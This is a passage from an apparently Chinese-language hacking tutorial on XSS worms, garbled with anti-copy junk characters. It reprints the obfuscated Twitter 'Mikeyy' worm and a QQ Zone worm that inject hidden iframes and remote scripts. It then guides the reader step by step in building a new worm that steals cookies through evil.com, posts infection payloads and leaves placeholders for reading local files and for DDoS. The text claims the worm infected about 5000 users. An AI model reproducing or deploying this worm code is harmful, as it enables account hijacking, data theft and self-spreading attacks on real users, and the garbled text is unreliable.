' d# ~! N9 T7 y) W& C* c</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
5 k7 E$ r! S! C4 g% {/ z
+ C- [' z. h2 \; e3 Xvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
4 u  M( I8 \4 Y$ Y


XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
) g% {8 ]* o- @; W# G+ x
4 a- w( j2 m9 r# Z/ DXmlHttp.send(null);
  @9 c3 `# z! V* Q+ r0 y$ v
& o( i- l1 V. U3 ?- B& f7 }( B5 @7 ^<script>
) K( ~" H0 }% s6 U" U$ h复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
. D# ?3 x7 D* E( ~' }. a复制代码案例:Twitter 蠕蟲五度發威
0 z6 v0 w: F" V! Z. X( R第一版:
  下载 (5.1 KB)
8 \" M; b9 n2 w& Z
  n7 k, E- A6 ?" g- p0 W6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
8 w4 a- O: \: C4 d3 w
   2.   

8 J7 }* o: D6 Z  l   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  
5 G0 S) s, j) v2 e# C
3 u) l  e  Q( d# u4 u   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
! A, y0 o9 `+ u' f1 Z2 @2 G" n8 w
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

. u4 U0 w2 i% l. Y1 i" x  |   8.   catch(e) { _0x6687x2=false; }; }; };  
2 K6 a% \. j- t* G. Y  Q复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
/ V1 c0 ~/ h9 `  G4 ^+ S
   3.   var tmp_cookie=document.cookie;  

8 z# [( Y8 B" C! n   4.   var tmp_posted=tmp_cookie.match(/posted/);  
: [# c  c5 l, v# `/ V! }
$ T' M4 Y9 {9 K& ]   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
- z% C3 `( O  J  p# s3 A( L
   6.   var authtoken=authreg.exec(content);  
& Q  G8 o$ H7 l$ y9 e! ^) `8 [, h6 N6 t
5 P% o4 o' \5 Y   7.   var authtoken=authtoken[1];  

0 B7 e  A! T2 O; U+ g8 e5 a   8.   var randomUpdate= new Array();  
" D+ m& c. ]7 H( P4 ?7 z( Y
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

, \/ n5 j/ d$ U6 j  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

2 l8 N( z& N0 X; ^. o0 {* P  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

; L9 O7 p+ x0 E) u% Y  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
7 Y: P& N& o' K4 H: o
! O) \4 ~4 E- c: S% K  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
4 H% n: t) }4 G
( U, f' s: f9 v3 Z' T3 z$ n  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
2 Z3 l, N" A8 K! X6 v$ E" n
+ r  K' A# @* X5 I2 R7 g: c  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

2 y7 F) h8 d9 j3 p  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

7 k: h- A6 Z4 v5 d: `  r  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
1 i9 @! W+ T; b9 }4 y0 G
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
7 I8 Z4 z- g- z; a6 |5 u8 U
  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
6 x! i; I2 d% ^& b4 g
0 k& E& I: G6 j& P) R  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

) d( ?+ i' g! z) \  27.     
" [( K  R; v4 r' k5 r/ a; P# g
" X0 K% \/ r3 u* `- Y! x  28.   var ajaxConn= new XHConn();  
( a' e+ x% P1 y3 x5 n$ o
1 P$ r: L* t3 _7 g0 J  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
/ x8 e- k$ L4 J% B! j: j: v
  30.   var _0xf81bx1c="Mikeyy";  

# w& K. C3 R% L& o+ `4 Q  31.   var updateEncode=urlencode(_0xf81bx1c);  
2 X( v3 E9 ~- }+ [, `  n
" u) L0 \. O( x% ]5 X3 b  32.   var ajaxConn1= new XHConn();  
* N6 g7 h# \' Y) @% J
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
# e2 z. ?9 ^( Z" o' d- G
  35.   var XSS=urlencode(genXSS);  
* G: _/ m7 e& ?% c* D
: x: F. i9 U- k6 k+ p7 \  36.   var ajaxConn2= new XHConn();  
/ O+ G0 E( [9 ^2 |! v0 \
4 A* f/ T( }, u0 W- T  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
# j. [* e. }; n! i
2 ^+ W% w* y' c" H0 c) T  38.     
( G3 [5 z. F7 L" R( w( o- l
! E& I# P, }# ~/ l/ x' I  39. } ;  

* h4 Z6 w1 i+ \6 F) O, @+ m6 \  40. setTimeout(wait(),5250);  
- o9 e. [2 [1 ?4 H6 S复制代码QQ空间XSSfunction killErrors() {return true;}
9 P% Z: o% H2 E4 W
+ @2 g4 B3 P  \window.onerror=killErrors;


: P6 W  J6 b- T# r- b
var shendu;shendu=4;

2 \, M; X  C0 Z4 ]8 ]2 ]+ h: W5 X//---------------global---v------------------------------------------

* n( y$ }  s  Z5 y. E: X2 K  o9 P! M8 [//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
  P) H' d0 ^4 K7 P: O
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
' d/ W. A  d  R, s1 a! L3 ~/ G
+ c) c( |3 T0 O$ ?3 M& s' n        gurl=gurl.substring(0,gurle+3);        
7 y5 P! D) x. ]6 H, O) v$ u1 l7 [
. n) m; q* t+ q  ^        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

" I7 d. q9 M/ k& ^% ?" r        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

3 G. r4 r. w: f& c# Q3 E        visitorID=visitorID.substring(0,cookieS);
5 f, |/ V4 E* l' a0 H* J9 [, t
- ?' D( ?$ r9 Q6 k% V* R5 d        get_my_blog(visitorID);

* j9 N$ `$ ~- |2 O6 Q! u0 c% S        DOshuamy();



//挂马

+ `0 v5 m. c) g4 \function DOshuamy(){
  |* x* O# _* [* u( a
var ssr=document.getElementById("veryTitle");
' R" {* O7 h. z6 m' N: {5 `* B+ |
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
/ c; i7 q9 E7 F8 Z
}

$ @* L- z, Y/ _, D  j7 D
  ?+ |; J# \# Q* Z. }3 q  h+ c
+ |: ^$ T3 J: Z0 h" H+ B//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

# t. o! z0 T: Y6 Ifunction get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
3 ]7 p+ {. {' `. B! t3 z* O
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
; u: J8 p4 F4 M+ S; D! J: R, t
8 b+ _4 Y" i- g' `' L% ]   if(xhr){    //成功就执行下面的
/ u$ d2 I% L2 \% m
! S& @+ T. h% U     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
9 W7 U6 O9 y1 L- _- X
     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

1 v/ N. |: N! r! G- |: U    }

6 J- F7 y' {8 W1 H( n}

5 E4 R8 h: }5 z8 I. Q
* j; h; I% W7 v2 B. F0 h
//这里似乎是判断没有登录的

function get_my_blogurl(guest){
& v4 n  ~! u, a. T1 W
  var mybloglist=guest;
* W- J% J+ I' j( c1 ~
  var myurls;var blogids;var blogide;
  L% Y- S" K! ~4 W) {6 Y7 O5 s
  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');

' c5 M" ?9 U; s4 F! q         myblogid=mybloglist.substring(0,myurls);

) Y! x+ m6 D* I" I. G1 t        }else{break;}
2 s" ^# g  O9 |7 J
}

" L" y) B$ Q% s$ fget_my_testself();    //执行这个函数

}


) k9 [) @9 s2 C. R; \5 i3 a  v
! m. P2 u& P; J& a( }4 ?% ^//这里往哪跳就不知道了
( |6 {# h9 j% F
$ r: p* P1 r- m7 ~function get_my_testself(){

( Z) [; Z4 `! K9 q+ V0 n. k0 V+ Z  for(i=0;i<myblogid.length;i++){    //获得blogid的值
0 z* _  ]& O9 B+ p* O3 v
' ^" J! M5 Y8 }: U) K      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

3 m9 z( }/ q1 a. H5 ?      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
8 ~* m3 F+ p# [& f- N# J# s
$ @6 [4 O8 J  J7 I. l: s. H      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url
6 t% t1 \9 }% D$ j- g
/ e1 a4 J0 n' J              xhr2.send();
- u; l* O# Y& D  a1 Q
4 k) `+ D+ k- w( B# n              guest2=xhr2.responseText;
, p$ f6 Z! F/ K3 H: X* O
; n' e' O; D' b0 z$ ?" I( O7 e: ]              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

$ I0 H* h9 }' P              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
( |* a' e! s- ?. ^
6 @6 ~' c" |. A              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

- W( J( u8 f) _- m" W3 _                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
9 ^* P2 @6 u9 j) O  I
               }

* _) Z5 X8 b0 @( R              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
/ [$ J$ n0 U2 ~/ @  ?
/ |- X. p: c) K' }" g                add_js(visitorID,targetblogurlid,gurl);    //执行它
" c* \+ M) `0 z4 k/ W
                break;
* F( E5 j$ a$ R7 y' X
7 m5 z6 u! ]  F               }

        }      
: L7 L; A" e4 o; t+ }1 D; B9 d
}
+ v! A5 Y# w9 A( d
; @- r, a: z5 r}



//--------------------------------------  

* ]& V7 G/ t- p//根据浏览器创建一个XMLHttpRequest对象

# F# {" B  C3 H9 p0 R  t3 B3 Dfunction createXMLHttpRequest(){
/ R4 [2 M/ q$ ~. t/ k
    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

1 E6 ?. q9 d5 z1 W( m    else  
! K3 J& c8 G  C8 k
5 i& t* C) q6 l  d4 r+ C      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
9 [" T6 D- i8 z: i) I% ~8 H
        for(var i=0;i<MSXML.length;i++)  
  v) [" g: O) C* k1 d: c8 R* Y/ Q
$ {& [* h7 `/ u        {  
+ P" D2 Y% u: k# G7 [8 _' Z' w9 f$ E
            try  

1 B3 o9 N; l8 Z$ K            {  

$ e) q" R8 B. I4 r9 m                XMLhttpObject=new ActiveXObject(MSXML);  
9 S  |0 r: y0 E& H6 t2 P8 e2 d
                break;  
  O0 \* b5 v7 i
            }  

: K5 ~" m, J: I+ T            catch (ex) {  
# A. _6 B- o2 w* Y# b6 k
            }  
6 s- ]7 P8 u9 }5 a% L0 r# J2 s5 g0 L
         }  
' u( T5 |$ x! S. n
      }
/ \& M* M7 X6 S; t: _' M* f! `) \
return XMLhttpObject;
4 g! |; F* H  d6 A! V& z7 T6 f
}  


; g( A* z. A9 l" K) O1 R. m2 @. `
8 J% ^+ _8 R$ B% u+ f$ o$ @//这里就是感染部分了
2 g% `% {2 {! ^* z2 Q4 A
function add_js(visitorID,targetblogurlid,gurl){

/ B4 T: R6 [# S% e, Jvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
+ E% Q  m! Z4 Y4 X! ?
document.getElementsByTagName('head').item(0).appendChild(s2);
$ ]7 e2 p6 J8 d' h7 E# K5 @
}


; |/ p" q8 S) M$ e$ \" C" G
: H1 G' N" P$ H1 x  yfunction add_jsdel(visitorID,targetblogurlid,gurl){
  l+ w5 P6 ~" S1 q9 ^  t$ y
var s2=document.createElement('script');

4 k9 F. N+ [9 T$ ~9 i; Os2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

2 m7 z' [- J, I: A2 v- V+ Xs2.type='text/javascript';

$ z0 n2 {) d) z7 @  U9 L( Ydocument.getElementsByTagName('head').item(0).appendChild(s2);
7 R! {& n  z( [5 |) a0 X& C1 C
}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
& W3 U, l; N. F2 r$ x" {
3 R4 c- m2 n  t. L) l# C, |# ]综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
8 u8 O$ h/ m+ ~- S5 F9 e. R5 g) D' _
# s& f. ^: f5 F# p2 ^% U0 D
" X0 f, S; [) b6 J# P# v+ n- ~下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

2 e3 r3 y! d, M6 @0 O& F: r首先,自然是判断不同浏览器,创建不同的对象var request = false;
' S6 {4 f$ G/ t
if(window.XMLHttpRequest) {

, S2 Z- {) A8 o" X& V; Z- N) }request = new XMLHttpRequest();

& G) ^: B7 o" k- h) O5 fif(request.overrideMimeType) {
- f& W. y$ `6 F# g
request.overrideMimeType('text/xml');

}

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
! W& w' x1 b& V5 V" x
6 c4 i" C* r8 s4 ^9 y. g2 R9 tfor(var i=0; i<versions.length; i++) {
: w* `, s  b2 L& J( o6 r
" j, U5 v$ i8 s3 atry {
. A$ A4 v; N+ ]" d; P
request = new ActiveXObject(versions);

" u& v) s. w9 q9 L: G& j3 B1 W# ]} catch(e) {}

) @; W1 M$ C; t) \}

& r3 Y2 X* s) k7 c: Q( I}
6 _1 z3 _' l4 l& W/ ~5 i! H
6 I- d0 K3 d+ z1 K4 @* v6 ^! _xmlHttpReq=request;
3 Q7 k0 @3 u6 p" u复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
/ K3 y8 j1 B( ?
        var Browser_Version=parseFloat(navigator.appVersion);
3 H' J6 z9 a% q% p/ L5 |
) W* M3 @- K% P! l5 p" b        var Browser_Agent=navigator.userAgent;
' x, d1 G" v6 a1 y2 s5 b5 c
        

4 J2 J# l1 j' Y0 l6 T        var Actual_Version,Actual_Name;
/ K# H7 r4 @; f. u% T$ P
        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

6 z4 t4 p6 p% D3 {, S! R& y        var is_NN=(Browser_Name=="Netscape");
, e1 I5 _8 f6 c0 q# x. z4 E
        var is_Ch=(Browser_Name=="Chrome");
0 O7 k) i3 B1 R( I
        

        if(is_NN){

            if(Browser_Version>=5.0){
/ @. H; c/ N) q7 w! p  I; `! k
5 l6 }4 l1 ^" C! r                var Split_Sign=Browser_Agent.lastIndexOf("/");
* I5 ]% T- W! e
                var Version=Browser_Agent.indexOf(" ",Split_Sign);

" s" P- |4 c: j                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
; d. }$ e  V6 k" N6 e* t


2 e, n: T$ A6 E) v1 k- ?                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
' e$ s9 G" K# A* |, `+ p, Y
. N% V+ F6 N, y            }

            else{

                Actual_Version=Browser_Version;
9 o1 B/ E3 w7 V
# ?! O3 O7 N/ ?7 [9 R( G* R                Actual_Name=Browser_Name;

            }

        }
# w) {4 r0 j0 p) z& C
        else if(is_IE){
* x0 t4 F4 j- O
            var Version_Start=Browser_Agent.indexOf("MSIE");
4 A: e: x; Z" c6 G+ E% Q
% V& p" F" o6 @* D" o8 g5 x  P4 i; ~            var Version_End=Browser_Agent.indexOf(";",Version_Start);
1 G8 w% \7 k& m9 Y$ f
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ E4 V* y' s9 W8 o6 K
            Actual_Name=Browser_Name;

            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

' v" u5 Y- q3 ?9 z                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

' x1 G& w" }. o% x6 S- d                Actual_Name="Opera";
  q' Q/ V% I% g4 R; K
/ t' k& i" d1 s: k) S/ N                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

: m" K- z8 m3 h. f2 t                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }

) m' Y/ F4 I; [! `7 o- ]5 f1 r4 s        else if(is_Ch){
+ Z1 ?! C2 z, D- z; |
8 v+ \* `* O* v- a% T; W/ _            var Version_Start=Browser_Agent.indexOf("Chrome");
( F4 l) @0 p# ~# d: o
7 [' R# f4 ~) i            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
5 ^" L. m/ W$ o  {) }
+ s! U, j9 ~$ q& A8 Z# {            Actual_Name=Browser_Name;
3 c! C0 `3 D8 F# x- W1 n- d
6 B. T1 v9 s# B1 f            
# ]) r5 U; Q4 u  p$ T
            if(Browser_Agent.indexOf("Maxthon")!=-1){

5 Y- U; x* b# b  \( K                Actual_Name+="(Maxthon)";
6 j+ b8 p4 C! U, w
            }
/ P4 s1 t3 N# y2 Q  }! H
            else if(Browser_Agent.indexOf("Opera")!=-1){

9 C. ?/ n$ h6 Z9 [' L4 W                Actual_Name="Opera";
, h+ E7 r3 {* [% }
                var tempstart=Browser_Agent.indexOf("Opera");
& z1 F, A8 O/ o; z% b5 G. K
. h" M, s# e, b% W+ E# d2 l                var tempend=Browser_Agent.length;

( H; Z! \& q9 F' H. O" k( s                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
6 O6 O% v4 |! e4 e) m+ |  ^
        }

        else{
. D2 q7 x" {) |# @
            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

        }
$ ?. [' E/ ~( ]. `( x, N* D' D


        navigator.Actual_Name=Actual_Name;
* g9 j7 o. M; W$ t* W+ k6 V. G7 z
        navigator.Actual_Version=Actual_Version;

$ X. R- Z  G: ^        
) O1 g6 W2 p6 s
3 o* X/ I& a  ^9 u4 H2 W        this.Name=Actual_Name;
* m- ?& V  S6 I: @, B4 l) ^7 J& y
' v( J+ c% m6 }5 x' M2 f' B/ X$ y        this.Version=Actual_Version;

+ z6 A/ G- S1 L3 K    }
% D9 g, P; K8 d6 L" }% Y- C: k. w
    browserinfo();

3 g9 z3 d0 j! x* W$ N    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
0 t* Y4 A3 J! \( O) G# w4 u
+ A6 M' p4 G! k7 v6 y- }) c* z* C' @    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
" u$ e/ R, r% d6 |# c5 e% r
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
) }  Y6 ?0 a3 b, A; J复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

, i4 @& A7 c9 [& T# C" c, Svar resource = xmlHttpReq.responseText;

) l, m( w0 L" J5 x" [3 Hvar id=0;var result;
$ r& p+ _9 `5 n4 Q& S" z4 }
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
. _. r: ~7 c" Z* t/ |; ~' |# o0 f
5 ]5 D2 g8 s& j* F5 uwhile ((result = patt.exec(resource)) != null)  {
- f' H4 A' q) G7 r, B
9 F  j7 [: a: a$ pid++;
6 r* ~0 t2 D0 Q4 D
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

6 D, X- D% E+ e* ]no=resource.search(/my name is/);
0 i* a5 `- e, b; ~# J3 Y
- S" e+ U# z5 ~$ Fvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
* ~  o" I8 m$ c8 y7 n
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

" j. ~; A0 U1 D& _, TxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

! O8 |2 @1 e, p7 N. d+ _0 u}
4 z! d+ q1 @8 l7 |8 v复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
0 P0 h- Y* {% Y7 `
+ y/ s/ |& ?- o' z0 Mvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

, S" E% i( o9 Z4 m$ \5 a# Tvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

3 m8 t, B5 Q4 Q( ~5 nvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
: X, c  C7 M" b, _
, j* H; m, R$ `% D1 lvar post="wd="+wd;
+ S1 d; W) ]2 J: b/ |
2 G3 C* O& ~8 `  B/ A$ GxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

0 `' g7 I2 u% H6 S/ pxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ q; C! W$ w, _  t2 v; U! O7 ?
$ a+ }! K( Z# Q6 axmlHttpReq.setRequestHeader("content-length",post.length);
: {& h7 J. o+ `# V8 K" h; z# Y
: g5 u$ Q; M/ V2 k7 XxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
: V. d# s- ^( m& ?7 E
- k& Y% {9 E7 Z# X4 S7 }+ Q. @xmlHttpReq.send(post);                 //把传播的信息 POST出去.
4 H- W) ]9 u- ^3 d- m: H- {! W
}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------


; y3 q6 F/ t4 I- Z9 {
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
% J5 K; H6 [& u8 \蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
+ Z" i+ e1 h  D
5 I7 y4 v; @! y. {0 [8 M# m
" q6 z7 v. Z. F





/ U1 R% G% {0 y/ G8 u本文引用文档资料:

- `( g6 `" {. x2 ~"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
4 a/ W/ J; I  U/ P7 ^+ POther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
1 J' ]. @$ A0 T9 J4 p* Mhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
4 `& W. n) I9 A" [* \+ T, h1 k空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/